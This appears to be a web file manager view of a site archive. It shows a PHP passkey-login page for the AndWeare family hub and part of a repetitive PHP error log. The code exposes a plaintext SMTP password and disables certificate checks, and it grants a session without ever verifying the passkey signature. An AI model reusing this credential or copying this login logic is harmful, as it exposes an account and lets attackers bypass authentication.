Файловый менеджер - Редактировать - /home/gqdcvggs/go.imators.com/idsma.imators.com.zip
Назад
PK �)�[H@B~�8 �8 andweare/passkey.phpnu �Iw�� <?php session_start(); require_once '../db.php'; require '../vendor/autoload.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; if (!isset($_SESSION['pending_user_id']) || !isset($_SESSION['pending_username']) || !isset($_SESSION['pending_email'])) { session_destroy(); header('Location: ../index.php'); exit; } function getDeviceInfo($user_agent) { $device_info = [ 'device' => 'Unknown', 'os' => 'Unknown', 'browser' => 'Unknown' ]; if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$user_agent)) { $device_info['device'] = 'Mobile'; } elseif(preg_match('/tablet|ipad|playbook|silk/i', $user_agent)) { $device_info['device'] = 'Tablet'; } else { $device_info['device'] = 'Desktop'; } if(preg_match('/windows/i', $user_agent)) { $device_info['os'] = 'Windows'; } elseif(preg_match('/macintosh|mac os x/i', $user_agent)) { $device_info['os'] = 'MacOS / iOS'; } elseif(preg_match('/linux/i', $user_agent)) { $device_info['os'] = 'Linux'; } elseif(preg_match('/iphone|ipad|ipod/i', $user_agent)) { $device_info['os'] = 'iOS'; } elseif(preg_match('/android/i', $user_agent)) { $device_info['os'] = 'Android'; } if(preg_match('/MSIE|Trident/i', $user_agent)) { $device_info['browser'] = 'Internet Explorer'; } elseif(preg_match('/Firefox/i', $user_agent)) { $device_info['browser'] = 'Firefox'; } elseif(preg_match('/Chrome/i', $user_agent)) { $device_info['browser'] = 'Chrome'; } elseif(preg_match('/Safari/i', $user_agent)) { $device_info['browser'] = 'Safari'; } elseif(preg_match('/Opera|OPR/i', $user_agent)) { $device_info['browser'] = 'Opera'; } return $device_info; } function sendLoginNotification($email, $location, $device_info) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = 'mail.imators.com'; $mail->SMTPAuth = true; $mail->Username = 'no-reply@imators.systems'; $mail->Password = 'imators.managements4455*#@'; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->SMTPOptions = [ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ] ]; $mail->setFrom('no-reply@imators.systems', 'AndWeare'); $mail->addAddress($email); $mail->addReplyTo('no-reply@imators.systems', 'No Reply'); $mail->isHTML(true); $mail->Subject = 'New Login to Your AndWeare Family Hub'; $mail->Body = ' <div style="font-family: \'Noto Sans KR\', sans-serif; max-width: 600px; margin: 0 auto;"> <div style="background: #ffffff; padding: 30px; border-radius: 10px; color: black;"> <h1 style="margin-bottom: 20px;">We detected a new login to your account with the following details:</h1> <ul style="margin-bottom: 20px; list-style: none; padding: 0;"> <li style="margin-bottom: 5px;">Location: ' . ($location['location'] ?? 'Unknown') . '</li> <li style="margin-bottom: 5px;">Device: ' . $device_info['device'] . ' (' . $device_info['os'] . ')</li> <li style="margin-bottom: 5px;">Browser: ' . $device_info['browser'] . '</li> <li style="margin-bottom: 5px;">Time: ' . date('F j, Y g:i A') . '</li> <li style="margin-bottom: 5px;">Authentication Type: Passkey</li> </ul> <p style="margin-bottom: 30px;">If this wasn\'t you, please secure your account immediately.</p> <a href="https://andweare.com" style="display: inline-block; background-color: #000000; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;"> Go to Account Settings </a> <p style="margin-top: 20px; font-size: 12px; color: #888;"> If you believe someone has unauthorized access to your account, please contact our support team immediately. </p> </div> </div>'; $mail->send(); } catch (Exception $e) { error_log("Login email error: " . $mail->ErrorInfo); } } function logSuccessfulLogin($conn, $user_id, $location, $device_info) { $ip_address = $_SERVER['REMOTE_ADDR']; $watchguard_data = [ 'user_id' => $user_id, 'ip-connected' => json_encode([ 'ip' => $ip_address, 'location' => $location['location'] ?? 'Unknown' ]), 'identified-screen' => json_encode($device_info), 'hours-of-connect' => date('H:i:s'), 'date-of-connect' => date('Y-m-d H:i:s') ]; $stmt = $conn->prepare(" INSERT INTO `connection-watchguard` (user_id, `ip-connected`, `identified-screen`, `hours-of-connect`, `date-of-connect`) VALUES (:user_id, :ip_connected, :identified_screen, :hours_of_connect, :date_of_connect) "); $stmt->execute([ ':user_id' => $watchguard_data['user_id'], ':ip_connected' => $watchguard_data['ip-connected'], ':identified_screen' => $watchguard_data['identified-screen'], ':hours_of_connect' => $watchguard_data['hours-of-connect'], ':date_of_connect' => $watchguard_data['date-of-connect'] ]); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); try { $db = new Database(); $conn = $db->connect(); $data = json_decode(file_get_contents('php://input'), true); $stmt = $conn->prepare("SELECT * FROM passkeys WHERE user_id = ?"); $stmt->execute([$_SESSION['pending_user_id']]); $passkey = $stmt->fetch(PDO::FETCH_ASSOC); if ($passkey) { $user_id = $_SESSION['pending_user_id']; $username = $_SESSION['pending_username']; $email = $_SESSION['pending_email']; // Get device and location information $device_info = getDeviceInfo($_SERVER['HTTP_USER_AGENT']); $ip_details = json_decode(file_get_contents("http://ip-api.com/json/" . $_SERVER['REMOTE_ADDR']), true); $location = []; if($ip_details && $ip_details['status'] === 'success') { $location = [ 'country' => $ip_details['country'], 'city' => $ip_details['city'], 'region' => $ip_details['regionName'], 'location' => "{$ip_details['city']}, {$ip_details['country']}" ]; } // Log login details logSuccessfulLogin($conn, $user_id, $location, $device_info); // Send notification email sendLoginNotification($email, $location, $device_info); // Update passkey last used time $stmt = $conn->prepare("UPDATE passkeys SET last_used_at = NOW() WHERE user_id = ?"); $stmt->execute([$user_id]); // Get andweare member status $stmt = $conn->prepare("SELECT andweare_member, family_site_url, family_role FROM utilisateurs WHERE id = ?"); $stmt->execute([$user_id]); $andweare_data = $stmt->fetch(PDO::FETCH_ASSOC); // Create session session_unset(); $_SESSION['user_id'] = $user_id; $_SESSION['username'] = $username; $_SESSION['andweare_member'] = $andweare_data['andweare_member'] ?? 0; $_SESSION['family_site_url'] = $andweare_data['family_site_url'] ?? ''; $_SESSION['family_role'] = $andweare_data['family_role'] ?? ''; $redirect_url = ($_SESSION['andweare_member'] == 1 && !empty($_SESSION['family_site_url'])) ? $_SESSION['family_site_url'] : 'https://andweare.com'; echo json_encode(['success' => true, 'redirect' => $redirect_url]); exit; } else { echo json_encode(['error' => 'Invalid passkey']); } } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); } exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Passkey Authentication - AndWeare</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@300;400;500;700&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Noto Sans KR', sans-serif; } </style> </head> <body class="bg-white text-black min-h-screen flex items-center justify-center p-4"> <div class="w-full max-w-md"> <div class="text-center mb-8"> <img src="/images/andweare-logo.png" alt="AndWeare Logo" class="mx-auto mb-4" style="height: 60px;"> <h1 class="text-3xl font-light">Passkey Verification</h1> <p class="text-sm text-gray-600 mt-2">Complete your login with Passkey verification</p> </div> <div id="error-message" class="hidden bg-red-100 border border-red-400 text-red-700 p-4 rounded-lg mb-4 text-center"></div> <div class="bg-gray-50 border border-gray-200 rounded-xl p-8 shadow-sm"> <div class="flex justify-center mb-6"> <div id="verification-status" class="animate-pulse w-20 h-20 bg-blue-100 rounded-full flex items-center justify-center"> <svg class="w-10 h-10 text-blue-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"/> </svg> </div> </div> <div class="text-center space-y-4"> <p class="text-gray-700" id="status-text">Use your passkey to complete the login...</p> <div class="text-sm text-gray-500"> <p>Completing authentication for:</p> <p class="text-gray-800 font-medium"><?php echo htmlspecialchars($_SESSION['pending_email']); ?></p> </div> <a href="index.php" class="inline-block text-sm text-gray-500 hover:text-gray-700 transition-colors mt-4"> Cancel and return to login </a> </div> </div> </div> <script> async function verifyPasskey() { try { const challenge = new Uint8Array(32); window.crypto.getRandomValues(challenge); const credential = await navigator.credentials.get({ publicKey: { challenge, rpId: window.location.hostname, timeout: 60000, userVerification: "preferred", allowCredentials: [] } }); const response = await fetch(window.location.href, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), signature: arrayBufferToBase64(credential.response.signature) } }) }); const result = await response.json(); if (result.success) { showSuccess(); setTimeout(() => { window.location.href = result.redirect || 'create-family.php'; }, 1000); } else { throw new Error(result.error || 'Verification failed'); } } catch (error) { showError(error.message); } } function showSuccess() { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); status.classList.remove('animate-pulse', 'bg-blue-100'); status.classList.add('bg-green-100'); status.innerHTML = ` <svg class="w-10 h-10 text-green-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/> </svg>`; statusText.textContent = 'Verification successful! Redirecting...'; } function showError(message) { const status = document.getElementById('verification-status'); const statusText = document.getElementById('status-text'); const errorMessage = document.getElementById('error-message'); status.classList.remove('animate-pulse', 'bg-blue-100'); status.classList.add('bg-red-100'); status.innerHTML = ` <svg class="w-10 h-10 text-red-500" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/> </svg>`; statusText.textContent = 'Verification failed. Please try again.'; errorMessage.textContent = message; errorMessage.classList.remove('hidden'); } function arrayBufferToBase64(buffer) { const bytes = new Uint8Array(buffer); let binary = ''; for (let i = 0; i < bytes.byteLength; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } window.addEventListener('load', verifyPasskey); </script> </body> </html>PK �)�[����z �z andweare/error_lognu �[��� [08-Mar-2025 18:30:25 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/gqdcvggs/idsma.imators.com/db.php' (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/gqdcvggs/idsma.imators.com/andweare/index.php:3 Stack trace: #0 {main} thrown in /home/gqdcvggs/idsma.imators.com/andweare/index.php on line 3 [08-Mar-2025 18:30:26 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/gqdcvggs/idsma.imators.com/db.php' (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/gqdcvggs/idsma.imators.com/andweare/index.php:3 Stack trace: #0 {main} thrown in /home/gqdcvggs/idsma.imators.com/andweare/index.php on line 3 [08-Mar-2025 20:20:41 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:23:47 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:23:48 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:24:14 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:24:53 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:45:28 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:49:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:55:59 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:57:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:58:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 20:59:08 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:14:38 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:15:36 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:16:54 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:17:37 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:19:36 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 21:20:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 22:57:08 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 22:58:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:00:39 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:06:29 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:11:26 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:21:43 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:21:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:22:00 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:25:41 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:34:22 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:34:32 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:35:01 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:36:14 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [08-Mar-2025 23:48:40 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 00:14:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 00:14:08 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 00:14:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 00:23:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 00:54:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 04:11:54 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 06:32:08 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 07:59:53 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 09:37:18 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 09:42:15 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 09:48:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 09:53:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 10:04:19 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 10:16:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 10:51:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 10:52:34 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 10:52:36 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 11:13:29 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 12:07:14 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 12:07:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 12:55:08 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 13:02:17 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 13:46:24 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 13:46:37 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 14:11:42 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 14:11:45 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 16:50:10 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:49:05 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:49:51 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:55:29 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:59:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:59:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 20:59:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 21:14:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [09-Mar-2025 21:25:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 01:03:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 01:04:33 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 01:16:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 08:49:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 08:50:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 08:51:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 10:56:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 16:28:54 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [10-Mar-2025 18:09:51 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 06:34:52 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 06:34:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 06:36:20 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 11:47:59 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 18:15:56 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 19:00:33 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 19:03:46 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [11-Mar-2025 20:11:28 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 07:00:50 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 07:17:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 13:20:27 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 13:23:40 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 13:23:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 14:49:44 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 16:45:13 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 17:11:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 17:18:06 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 17:18:30 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 17:44:56 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [12-Mar-2025 17:45:02 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [13-Mar-2025 04:16:28 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [13-Mar-2025 11:36:40 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [13-Mar-2025 16:13:55 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [13-Mar-2025 16:17:57 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [13-Mar-2025 16:18:00 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 02:46:34 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 02:48:10 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 02:53:59 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 12:31:48 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in /home/gqdcvggs/idsma.imators.com/andweare/session-bridge.php on line 11 [14-Mar-2025 15:59:31 UTC] PHP Deprecated: Constant FILTER_SANITIZE_STRING is deprecated in 